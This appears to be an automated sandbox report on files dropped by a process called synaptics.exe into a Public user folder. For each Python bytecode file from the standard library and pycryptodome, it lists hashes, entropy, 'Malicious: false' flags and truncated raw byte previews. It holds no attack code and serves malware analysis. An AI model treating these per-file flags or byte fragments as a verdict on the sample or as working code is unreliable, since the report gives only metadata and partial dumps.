Preview:	o........'-d.........................@...s...d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d...Z.d.d...Z.d$d.d...Z.d$d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.G.d d!..d!e.j...Z.G.d"d#..d#e...Z d.S.)%z-Utility code for constructing importers, etc......)...Loader)...module_from_spec)..._resolve_name)...spec_from_loader)..._find_spec)...MAGIC_NUMBER)..._RAW_MAGIC_NUMBER)...cache_from_source)...decode_source)...source_from_cache)...spec_from_file_location.....)...contextmanagerNc....................C...s....t...t.\|...S.).zBReturn the hash of source_bytes* as used in hash-based pyc files.)..._imp..source_hashr....)...source_bytes..r.....2C:\Users\Public\QExvbmVOb25l\lib\importlib\util.pyr........s......r....c....................C...s\...\|...d...s.\|.S.\|.s.t.d.t.\|.....d.......d.}.\|.D.].}.\|.d.k.r...n.\|.d.7.}.q.t.\|.\|.d.....\|.\|...S.).z2Resolve a rela

C:\Users\Public\QExvbmVOb25l\lib\importlib\metadata\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	37109
Entropy (8bit):	5.211135547824197
Encrypted:	false
SSDEEP:	768:uBMjZ3JEQWRwd2Aj+j5El+bA16p34b50nOlt8/:uBcAL9iGzo+Ol2/
MD5:	706FA61D17268A4091EDE182B4E3A133
SHA1:	77A232EB856F6A0E9D196CCB73DF87BF42857E36
SHA-256:	A64D2B6721E76F9BF16DF684B075DC951341C481E3D58D8E97B8285CFA8EA312
SHA-512:	05B1763589211ACA3E2B89D2A3E8C911DADF23718F6E75631096FB527E3DB2CF8DC22A2400EC19B05AD12DC0C774CD734B88250F97D702960EBF1BFADCA53973
Malicious:	false
Reputation:	low
Preview:	o........'-d.{.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l m!Z!..d.d.l.m"Z"..d.d.l#m$Z$m%Z%m&Z&m'Z'..g.d...Z(G.d.d...d.e)..ZG.d.d...d...Z+G.d.d...d.e..,d.d.....Z-G.d.d...d.e...Z/G.d.d...d.e/..Z0G.d.d...d...Z1G.d.d...d.e1e2..Z3G.d.d ..d e.j4..Z5G.d!d"..d"..Z6G.d#d$..d$..Z7G.d%d&..d&e!..Z8G.d'd(..d(..Z9G.d)d..d*..Z:G.d+d,..d,..Z;G.d-d...d.e8..Z<G.d/d0..d0e7..Z=d1d2..Z>d3d4..Z?d5e.j.f.d6d7..Z@d8d9..ZAd5e'e0e3f...f.d:d;..ZBd<d=..ZCd>d?..ZDd5e%eEe$eE..f...f.d@dA..ZFd.S.)B.....N.....)..._adapters.._meta)...PackageMetadata)...FreezableDefaultDict..Pair)...method_cache..pass_none)...unique_everseen).r......SimplePath)...suppress)...import_module)...MetaPathFinder)...starmap)...List..Mapping..Optional..Union)...Distribution..DistributionFinderr......PackageNotFoundError..

C:\Users\Public\QExvbmVOb25l\lib\importlib\metadata\pycache\_adapters.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2357
Entropy (8bit):	5.1624174943294525
Encrypted:	false
SSDEEP:	48:2NuvHOKjpXocKHdq5UHdUktPdSNwplt9SDYvloUTG:nHOKVocKHdqUdUWlSWplZ9oEG
MD5:	A945D7BB9F2DE2BF3460500751A23CA6
SHA1:	4E5D568C85CD04770363C5C086DECB6CD097BCB6
SHA-256:	CC812D97107EA715BE48A6D4E29A2E0BF4DEC3A9E0FD36718A5B646647C154BE
SHA-512:	4529EDC37BEACD04FFAF163A753FC90855692004201B503C9DE31BEFE53EB14C4B83B68D295300343F04E7E2FF249A1762E529D253BC5102BCADDABB7619CEC0
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s<...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...G.d.d...d.e.j.j...Z.d.S.)......N.....)...FoldedCasec........................sb...e.Z.d.Z.e.e.e.g.d.......Z...d.e.j.j.f...f.d.d...Z.d.d...Z...f.d.d...Z.d.d...Z.e.d.d.....Z.....Z.S.)...Message).Z.Classifierz.Obsoletes-DistZ.Platformz.Project-URLz.Provides-Distz.Provides-Extraz.Requires-Distz.Requires-Externalz.Supported-PlatformZ.Dynamic..origc........................s"...t.....\|...}.t.\|.....t.\|.......\|.S...N)...super..__new__..vars..update)...clsr......res....__class__...@C:\Users\Public\QExvbmVOb25l\lib\importlib\metadata\_adapters.pyr........s..........z.Message.__new__c....................O...s....\|.....\|._.d.S.r....)..._repair_headers.._headers)...self..args..kwargsr....r....r......__init__#...s......z.Message.__init__c........................s....t.......S.r....).r......__iter__..r....r....r....r....r....'...s......z.Message.__iter__c........................s>...d.d.......f.d.d...t.\|...d...D...}.\|.j.r

C:\Users\Public\QExvbmVOb25l\lib\importlib\metadata\pycache\_collections.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1532
Entropy (8bit):	5.027155941299097
Encrypted:	false
SSDEEP:	24:zBf0kCRklLM8ZOSIJOmhgP3uSDOTVMPt/fkWB16RB6lghkChedco/qq6Ddqrqqp:zBf0Xkl4KOSI4mh6peqdcWB1cegfhe+y
MD5:	A5646FFF089FF9D442BAAF434C70042E
SHA1:	00EDB10142F241C6317C908DEE1A5F8DC403386B
SHA-256:	3CA7DF4106EA2F4EA77424EC5D34B5A90AE3DF2D783D86AA3592CAA4608C1421
SHA-512:	B2E20FC96E2905E0393DA4634192CA5830D05611A58DE9391F6C92AE7D5CFCE7C006D988A3088C78A7C57FF7B3BB35446143EE71AF5354DE8C532184D28E688F
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s6...d.d.l.Z.G.d.d...d.e.j...Z.G.d.d...d.e...d.d.....Z.d.S.)......Nc........................s(...e.Z.d.Z.d.Z...f.d.d...Z.d.d...Z.....Z.S.)...FreezableDefaultDicta!.... Often it is desirable to prevent the mutation of. a default dict after its initial construction, such. as to prevent mutation during iteration... >>> dd = FreezableDefaultDict(list). >>> dd[0].append('1'). >>> dd.freeze(). >>> dd[1]. []. >>> len(dd). 1. c........................s....t.\|.d.t...j...\|...S.).N.._frozen)...getattr..super..__missing__)...self..key....__class__...CC:\Users\Public\QExvbmVOb25l\lib\importlib\metadata\_collections.pyr........s......z FreezableDefaultDict.__missing__c........................s......f.d.d....._.d.S.).Nc........................s..........S.).N)...default_factory).r......r....r....r......<lambda>....s......z-FreezableDefaultDict.freeze.<locals>.<lambda>).r....r....r....r....r......freeze....s......z.FreezableDefa

C:\Users\Public\QExvbmVOb25l\lib\importlib\metadata\pycache\_functools.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	5.099012480219499
Encrypted:	false
SSDEEP:	48:bHbuTGKoOIXlUsSUUEQ1lGIGX5G5GurSYwBpHPdG7lfsJdSOTK/J/SarXN0le/y/:SoOCDUX4sXwjvMXNpa5m1qoOIk
MD5:	2F582BB9C2487DB134E9151251D7ABF3
SHA1:	BE4B5312C7EA3C78DBA4E674C81156532ED25EB1
SHA-256:	238BBEDBF5D7FF50D09CFCC16A798AFC5DB31D324943C4CE35D72293C0976E59
SHA-512:	CE38E852763480ECCBE5716F480F55B856FABEA6AB0DEB0C3E19BAE91025FD44631EB5804DEFCE7B2ACBEBE6254D9C0802AC69F049D1B39894416C6FD27C7802
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s&...d.d.l.Z.d.d.l.Z.d.d.d...Z.d.d...Z.d.S.)......Nc........................s(.....p.t...........f.d.d...}.d.d...\|._.\|.S.).aV.... Wrap lru_cache to support storing the cache data in the object instances... Abstracts the common paradigm where the method explicitly saves an. underscore-prefixed protected property on first call and returns that. subsequently... >>> class MyClass:. ... calls = 0. .... ... @method_cache. ... def method(self, value):. ... self.calls += 1. ... return value.. >>> a = MyClass(). >>> a.method(3). 3. >>> for x in range(75):. ... res = a.method(x). >>> a.calls. 75.. Note that the apparent behavior will be exactly like that of lru_cache. except that the cache is stored on each instance, so values in one. instance will not flush values from another, and when an instance is. deleted, so are the cached values for that instance...

C:\Users\Public\QExvbmVOb25l\lib\importlib\metadata\pycache\_itertools.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	584
Entropy (8bit):	5.1754631872640635
Encrypted:	false
SSDEEP:	12:Cu//48ZPUbmR6OHRgD4gvwfJLV0jyr4e+VlWsoVzoufN++k+Zqq18:ZDPUe6+k4fJgyEd/3ODlfnZqq18
MD5:	9A58998F488FAD41F647EF17C4E75473
SHA1:	DEC27CB647961DE00E613C788BF5DB87F62E5F0B
SHA-256:	47A6511EC14D7AE358B5644C750AE5670ADC687C9BA39A4724C91A955152D017
SHA-512:	A3E0637D1D2A7AB1E88D769687768DC03E04AB7B1373F3D7F52CACB0A3D8BB820653001E938B4AB16C138571B30F9B28E2FF015838F12409B38E047E5AF31782
Malicious:	false
Reputation:	low
Preview:	o........'-dr........................@...s....d.d.l.m.Z...d.d.d...Z.d.S.)......)...filterfalseNc....................c...sf.....t...}.\|.j.}.\|.d.u.r.t.\|.j.\|...D.].}.\|.\|.....\|.V...q.d.S.\|.D.].}.\|.\|...}.\|.\|.v.r0\|.\|.....\|.V...q.d.S.).zHList unique elements, preserving order. Remember all elements ever seen.N)...set..addr......__contains__)...iterable..key..seenZ.seen_add..element..k..r.....AC:\Users\Public\QExvbmVOb25l\lib\importlib\metadata\_itertools.py..unique_everseen....s..................................r....).N)...itertoolsr....r....r....r....r....r......<module>....s........

C:\Users\Public\QExvbmVOb25l\lib\importlib\metadata\pycache\_meta.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2277
Entropy (8bit):	4.728131821412717
Encrypted:	false
SSDEEP:	48:OgnzBuSda0dUuJpYwj1JEZNmsZBCdHEjX9vlq:OgNuaa0dUAp/j1JErm8BCdHED90
MD5:	D66D488C70AA8DB7494B85B0B9BAF650
SHA1:	524D57EBA2AA4559F8B7AFFD8CF3C4CEE97BAE11
SHA-256:	EBCF36AA14661C9EC17CD61FD1B9467A73BD4285C925B64DA65C6F8EEFE62D2A
SHA-512:	1E386EA8D4FF77A835E9766ADF016248160B006941DC88D294EF4CD93E75D22DDA15C81E125A8353A3D03E721D05C001F69023B2F6BC874C348BA20E8FFCAE26
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sP...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.)......)...Any..Dict..Iterator..List..Protocol..TypeVar..Union.._Tc....................@...s....e.Z.d.Z.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.e...f.d.d...Z.d.d.e.d.e.d.e.e.e...e.f...f.d.d...Z.e.d.e.e.e.e.e.e...f...f...f.d.d.....Z.d.S.)...PackageMetadata..returnc....................C........d.S...N......selfr....r.....<C:\Users\Public\QExvbmVOb25l\lib\importlib\metadata\_meta.py..__len__...........z.PackageMetadata.__len__..itemc....................C...r....r....r....).r....r....r....r....r......__contains__....r....z.PackageMetadata.__contains__..keyc....................C...r....r....r....).r....r....r....r....r......__getitem__....r....z.PackageMetadata.__getitem__c....................C...r....r....r....r....r....r....r......__iter__....r....z.PackageMetadata.__iter__...name..failobjc....................C........d.S.).zP. Return all value

C:\Users\Public\QExvbmVOb25l\lib\importlib\metadata\pycache\_text.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3073
Entropy (8bit):	5.062882220134745
Encrypted:	false
SSDEEP:	96:1OhFXWTrbGowYRzHinOrIAeQc2u4KryOqugqhFqYbvHqILqtk3RO/8C9HqL7dRjN:1EowCmVAeQgdqfq/qIqoqu9UHqHdRjqu
MD5:	874750D4585F4E8EC80DC8D6F8F1F36B
SHA1:	E2ADC94FBC1C4971051E0E23DCE850623F297FED
SHA-256:	C297610AFA632C13A42B428B32FC9DBCCA38ECE3FDFC7F91E733CD751EDC26A7
SHA-512:	F9BC17882257E40C24AB0C74580857C9C01331839A673125DC70FFCAB7DF762C3EE60751AC9C225A55B5751C0CC9D29CB908C433606560F8BC6BDFA7F912D114
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s(...d.d.l.Z.d.d.l.m.Z...G.d.d...d.e...Z.d.S.)......N.....)...method_cachec........................sr...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z...f.d.d...Z.d.d...Z.e...f.d.d.....Z.d.d...Z.d.d.d...Z.....Z.S.)...FoldedCasea{.... A case insensitive string class; behaves just like str. except compares equal when the only variation is case... >>> s = FoldedCase('hello world').. >>> s == 'Hello World'. True.. >>> 'Hello World' == s. True.. >>> s != 'Hello World'. False.. >>> s.index('O'). 4.. >>> s.split('O'). ['hell', ' w', 'rld'].. >>> sorted(map(FoldedCase, ['GAMMA', 'alpha', 'Beta'])). ['alpha', 'Beta', 'GAMMA'].. Sequence membership is straightforward... >>> "Hello World" in [s]. True. >>> s in ["Hello World"]. True.. You may test for set inclusion, but candidate and elements. must both be folded... >>> FoldedCase("Hello World") in {s}. True. >>> s in {FoldedCa

C:\Users\Public\QExvbmVOb25l\lib\json\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	12277
Entropy (8bit):	5.384527163048202
Encrypted:	false
SSDEEP:	192:gM0k25NKigD6B7+vx1GkRGqb9j4ytKv72vx1GkRGqb4MmQTQOQkQsx1LtbQkQsxz:gM0TNKigBvx99j4g3vxx47OZrXZrb/
MD5:	F478A312375D5F5FB276A5AF4DBA7B89
SHA1:	A5B9424ECA1B49B72F46C9DFBBE061DD40340EE6
SHA-256:	63CBEA79B2CDEB9BDAA84285FF4C767B1B85201C488B227709781232530A8839
SHA-512:	4FDABF830BC4720374299EC3A81E2BABB588106EB7412DED8F95F7B8067F8E533069F552BC6379A5F8A54A7426DFFE7A62AF10180938A45F73642ECBE73CA316
Malicious:	false
Reputation:	low
Preview:	o........'-d+8.......................@...s....d.Z.d.Z.g.d...Z.d.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.Z.e.d.d.d.d.d.d.d.d...Z.d.d.d.d.d.d.d.d.d.d...d.d...Z.d.d.d.d.d.d.d.d.d.d...d.d...Z.e.d.d.d...Z.d.d...Z.d.d.d.d.d.d.d...d.d...Z.d.d.d.d.d.d.d...d.d...Z.d.S.).a....JSON (JavaScript Object Notation) <https://json.org> is a subset of.JavaScript syntax (ECMA-262 3rd edition) used as a lightweight data.interchange format...:mod:`json` exposes an API familiar to users of the standard library.:mod:`marshal` and :mod:`pickle` modules. It is derived from a.version of the externally maintained simplejson library...Encoding basic Python object hierarchies::.. >>> import json. >>> json.dumps(['foo', {'bar': ('baz', None, 1.0, 2)}]). '["foo", {"bar": ["baz", null, 1.0, 2]}]'. >>> print(json.dumps("\"foo\bar")). "\"foo\bar". >>> print(json.dumps('\u1234')). "\u1234". >>> print(json.dumps('\\')). "\\". >>> print(json.dumps({"c": 0, "b": 0, "a": 0}, sort_keys=True)). {"

C:\Users\Public\QExvbmVOb25l\lib\json\pycache\decoder.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	9779
Entropy (8bit):	5.566856066589481
Encrypted:	false
SSDEEP:	192:CEe7HwzdSfu7lO+E4F9pufLe4tcgwEF8mbANHFThJt7AeIQT09TuuI:1sHwzdT8+39piFtj8muIQItu7
MD5:	6A412CD15DA0C808EF01DF9EE5882F24
SHA1:	42E81CDEF50F834BDEE119CDC9057A0C61A16604
SHA-256:	04A7DD0EE7545DE4443B4B55A948F68F2B4F6B5DCFB2E8370F1D62DED106FC3E
SHA-512:	0F4FB32561BDBB8372318714CAB6AA8D7A08353DBDA35F4E187F3931122531DAFA53B1A92433E2E168D5B16BEC22CF0A333B27E4F075152C76B0D895804E903E
Malicious:	false
Reputation:	low
Preview:	o........'-d.2.......................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.y.......d.Z.Y.n.w.d.d.g.Z.e.j.e.j.B.e.j.B.Z.e.d...Z.e.d...Z.e.d...Z.G.d.d...d.e...Z.e.e.e.d...Z.e...d.e...Z.d.d.d.d.d.d.d.d.d...Z.d.d...Z.d.e.e.j.f.d.d...Z.e.phe.Z.e...d.e...Z.d.Z.d.e.j.e.f.d.d...Z.e.j.e.f.d.d ..Z.G.d!d...d.e...Z.d.S.)"z.Implementation of JSONDecoder......N)...scanner)...scanstring..JSONDecoder..JSONDecodeError..nan..infz.-infc....................@...s ...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.S.).r....a ...Subclass of ValueError with the following additional properties:.. msg: The unformatted error message. doc: The JSON document being parsed. pos: The start index of doc where parsing failed. lineno: The line corresponding to pos. colno: The column corresponding to pos.. c....................C...sb...\|...d.d.\|...d...}.\|.\|...d.d.\|.....}.d.\|.\|.\|.\|.f...}.t...\|.\|.....\|.\|._.\|.\|._.\|.\|._.\|.\|._.\|.\|._.d.S.).N...r.........z.%s: line %d column %d (char %d))...count..rfind..ValueE

C:\Users\Public\QExvbmVOb25l\lib\json\pycache\encoder.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11130
Entropy (8bit):	5.497589119893164
Encrypted:	false
SSDEEP:	192:UqBrTkkgsft4MszI6lxnP14KAZX/WPxDvoLabuHyjnFibetRv4UO4FR0Q:dJDiMUnd4CPxDzbuS7FiTEd
MD5:	2C235BEA71367C2D1F2812BFBDAC077E
SHA1:	54E79586843297AAE65548A2BF6A9AC49EDBB78D
SHA-256:	64461C1765AD11EE76886E171D2A038D89F5428485554C123AE3B23FB1F0A26F
SHA-512:	99E226288AEE475FA8F027B8B8C14A6EA43D6CF111DE3DADFA72486125816DF2A8ED6299FADD1CC7C0D3634FF1D8B4DBADD7DD3CD0A66295255F88A7437CDACD
Malicious:	false
Reputation:	low
Preview:	o........'-d.@.......................@...s6...d.Z.d.d.l.Z.z.d.d.l.m.Z...W.n...e.y.......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y-......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.yA......d.Z.Y.n.w.e...d...Z.e...d...Z.e...d...Z.d.d.d.d.d.d.d.d...Z.e.d...D.].Z.e...e.e...d...e.......q_e.d...Z.d.d...Z.e.pxe.Z.d.d...Z.e.p.e.Z.G.d.d...d.e...Z.e.e.e.e.e.e.e.e e!e.j"f.d.d...Z#d.S.).z.Implementation of JSONEncoder......N)...encode_basestring_ascii)...encode_basestring)...make_encoderz.[\x00-\x1f\\"\b\f\n\r\t]z.([\\"]\|[^\ -~])s....[.-.]z.\\z.\"z.\bz.\fz.\nz.\rz.\t)...\.."................ .....\u{0:04x}..infc....................C........d.d...}.d.t...\|.\|.....d...S.).z5Return a JSON representation of a Python string.. c....................S...s....t.\|...d.....S.).Nr....)...ESCAPE_DCT..group)...match..r.....0C:\Users\Public\QExvbmVOb25l\lib\json\encoder.py..replace(...s......z%py_encode_basestring.<locals>.replacer....)...ESCAPE..sub....sr....r....r....r......py_encode_basestring$...s........r....c................

C:\Users\Public\QExvbmVOb25l\lib\json\pycache\scanner.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1929
Entropy (8bit):	5.6125424176839696
Encrypted:	false
SSDEEP:	48:Uwhn/cfelN3xf9oI0rv3y1R0vSFkAVTdOIC54vD:j0MFLoPw5Td9CeD
MD5:	B5AE1C592230A1627CACFD55ED8E3C1F
SHA1:	401643B2E24CB492D282D23A5D17173978BACE31
SHA-256:	2FC629042323C6EB09D29E055E1DC2330F5F83E2C1067D3B369C01A8D37F0954
SHA-512:	8775BA0884AB7D79288CC28F2EC2A3779A53E51BF8835044E6E52C53476C4D7A6A43F69C937E4910ADEF5991760F2B3AC4046BD39C6CEC614492367E4C7CE16C
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sh...d.Z.d.d.l.Z.z.d.d.l.m.Z...W.n...e.y.......d.Z.Y.n.w.d.g.Z.e...d.e.j.e.j.B.e.j.B...Z.d.d...Z.e.p1e.Z.d.S.).z.JSON token scanner......N)...make_scannerr....z)(-?(?:0\|[1-9]\d*))(\.\d+)?([eE][-+]?\d+)?c........................sv...\|.j...\|.j...\|.j...t.j...\|.j...\|.j...\|.j...\|.j...\|.j...\|.j...\|.j...........................f.d.d.........f.d.d...}.\|.S.).Nc........................s....z.\|.\|...}.W.n...t.y.......t.\|...d...w.\|.d.k.r...\|.\|.d.......S.\|.d.k.r0..\|.\|.d...f.............S.\|.d.k.r=..\|.\|.d...f.....S.\|.d.k.rQ\|.\|.\|.d.......d.k.rQd.\|.d...f.S.\|.d.k.re\|.\|.\|.d.......d.k.red.\|.d...f.S.\|.d.k.ry\|.\|.\|.d.......d.k.ryd.\|.d...f.S...\|.\|...}.\|.d.u.r.\|.....\.}.}.}.\|.s.\|.r...\|.\|.p.d...\|.p.d.....}.n...\|...}.\|.\|.....f.S.\|.d.k.r.\|.\|.\|.d.......d.k.r...d...\|.d...f.S.\|.d.k.r.\|.\|.\|.d.......d.k.r..d...\|.d...f.S.\|.d.k.r.\|.\|.\|.d.......d.k.r..d...\|.d...f.S.t.\|.....).N..".......{..[..n.....Z.null..t..trueT..f.....Z.falseF....N.......NaN..I.......Infinity..-.....z.-Infinit

C:\Users\Public\QExvbmVOb25l\lib\logging\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	66904
Entropy (8bit):	5.226956492681782
Encrypted:	false
SSDEEP:	768:pdNUC9zPGlE+L/8P4CcmsaS+rtz8lEp6wQh++5+VCKlv+g7tXcEOokQ02BbB:pdyg7e/8P4pmRSe58a6+rIZWLVxB
MD5:	0538AA51A3A59B835DD42359EF7DCB39
SHA1:	568EAFA9366D619DC8FC502C55A6D2261D078B49
SHA-256:	C3BCF961B309143490391DC8DB37EDA8A72257A3E8797A9034AFB9ABD6739E4E
SHA-512:	C383AF4018E8A0BE94897507A72E8743E76C3F1488041D2A9F402BD162A3A37B5DEE6AD694343AC570B669AF96A093207159C3755932E5ED0243000AE695DF39
Malicious:	false
Reputation:	low
Preview:	o........'-d=B.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...g.d...Z.d.d.l.Z.d.Z.d.Z.d.Z.d.Z.e.....Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.Z.d.Z.d.Z.e.Z.d.Z.d.Z d.Z!e.d.e.d.e.d.e.d.e d.e!d.i.Z"e.e.e.e.e.e.e e!d...Z#d.d...Z$d.d...Z%e&e.d...r.d.d...Z'n.d.d...Z'e.j(.)e%jj+..Z,d d!..Z-e.....Z/d"d#..Z0d$d%..Z1e&e.d&..s.d'd(..Z2n.e..3..Z4d)d(..Z2dd+..Z5e.j6e0e5e1d,....G.d-d...d.e7..Z8e8a9d/d0..Z:d1d2..Z;d3d4..Z<e...Z=[.G.d5d6..d6e7..Z>G.d7d8..d8e>..Z?G.d9d:..d:e>..Z@d;ZAe>eAf.e?d<f.e@d=f.d>..ZBG.d?d@..d@e7..Z.e...ZCG.dAdB..dBe7..ZDG.dCdD..dDe7..ZEG.dEdF..dFe7..ZFe..G..ZHg.ZIdGdH..ZJdIdJ..ZKG.dKdL..dLeF..ZLG.dMdN..dNeL..ZMG.dOdP..dPeM..ZNG.dQdR..dReM..ZOeOe...ZPePZQG.dSdT..dTe7..ZRdUdV..ZSdWdX..ZTG.dYdZ..dZe7..ZUG.d[d\..d\eF..ZVG.d]d^..d^eV..ZWeVaXG.d_d`..d`e7..ZYeWe...ZZeZeV_ZeUeVjZ..eV_[dadb..Z\d.dcdd..Z]dedf..Z^dgdh..Z_didj..Z`d.dk..dldm..Zadndo..Zbdpdq..Zcdrds..Zddtdu..Zedvdw..Zfe.f.dxdy..ZgeIf.dzd{..Zhd.d.liZiei.jeh..

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\AES.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7044
Entropy (8bit):	5.346600306097393
Encrypted:	false
SSDEEP:	96:FeGQHbITHl5m6xVZaGV/EXOZiHu/Eoft7TAUZmniQjzVHd2qE5:Fe7Hbk5nn9EXnHhItPdZ9QjI5
MD5:	06626FDA113B68FEFE048B76BDA1F535
SHA1:	1CD40ADA8AFF8D12C2638C13390F4D569C7B5C38
SHA-256:	455C69E575B72EBF7EBC0BDEFEAA9A9369D3452AB607528FFDFAF90CA81A1454
SHA-512:	924245956EB4188DEA61F2B67E80A725C73A7ECCA2AFB6A8455F13A40EC0CDFA3DAAA4D9A5D3119396C824CA73CAD620F94EA6D55C1725238C4419F331440223
Malicious:	false
Reputation:	low
Preview:	o..........f.#.......................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.d.e...Z.z.d.Z.e.....rQe.d.e...d.d.....Z.W.n...e.y[......Y.n.w.d.d...Z.d.d...Z.d.d...Z d.Z!d.Z"d.S.)......N)..._create_cipher)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..c_size_t..c_uint8_ptr)..._cpu_features)...get_random_bytes.......................................................a..... int AES_start_operation(const uint8_t key[],. size_t key_len,. void *pResult);. int AES_encrypt(const void state,. const uint8_t in,. uint8_t out,. size_t data_len);. int AES_decrypt(const void state,. const uint8_t in,. uint8_t out,. size_t data_len);. int AES_stop_operation(void state);.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\DES.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4972
Entropy (8bit):	5.174205755425086
Encrypted:	false
SSDEEP:	96:NFDtaCGJ/VGx/uxVLM4x6stLAv74PJlQKGW:vwZApunM4ftcsPzJ
MD5:	1F5DB3D208C72505864C44F407166AB8
SHA1:	5479FF6F4E583A94EC51FD0A43BB946B0011793D
SHA-256:	90E2DD7A7ECBAC158926CAC11CB92F0E5DA914CDE0E4C77AE16DC09DB6D1088E
SHA-512:	9464C879DCFF43BA438A631E2C4B88A77D9E6B3D64FC43DD7FC39D6AE398615B0E14F14D31112AD357160390BF97A547C9FC2158AF510083CFA9A5C2C0385706
Malicious:	false
Reputation:	low
Preview:	o..........f.........................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...e.d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.S.).a.....Module's constants for the modes of operation supported with Single DES:..:var MODE_ECB: :ref:`Electronic Code Book (ECB) <ecb_mode>`.:var MODE_CBC: :ref:`Cipher-Block Chaining (CBC) <cbc_mode>`.:var MODE_CFB: :ref:`Cipher FeedBack (CFB) <cfb_mode>`.:var MODE_OFB: :ref:`Output FeedBack (OFB) <ofb_mode>`.:var MODE_CTR: :ref:`CounTer Mode (CTR) <ctr_mode>`.:var MODE_OPENPGP: :ref:`OpenPGP Mode <openpgp_mode>`.:var MODE_EAX: :ref:`EAX Mode <eax_mode>`......N)..._create_cipher)...byte_string)...load_pycryptodome_raw_lib..VoidPointer..SmartPointer..c_size_t..c_uint8_ptrz.Crypto.Cipher._raw_desa..... int DES_start_operation(const uint8_t key[],. size_t key_len,. void **pResult);. int DES_encrypt(const vo

C:\Users\Public\QExvbmVOb25l\lib\site-packages\Crypto\Cipher\pycache\DES3.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6185
Entropy (8bit):	5.2644804204967315
Encrypted:	false
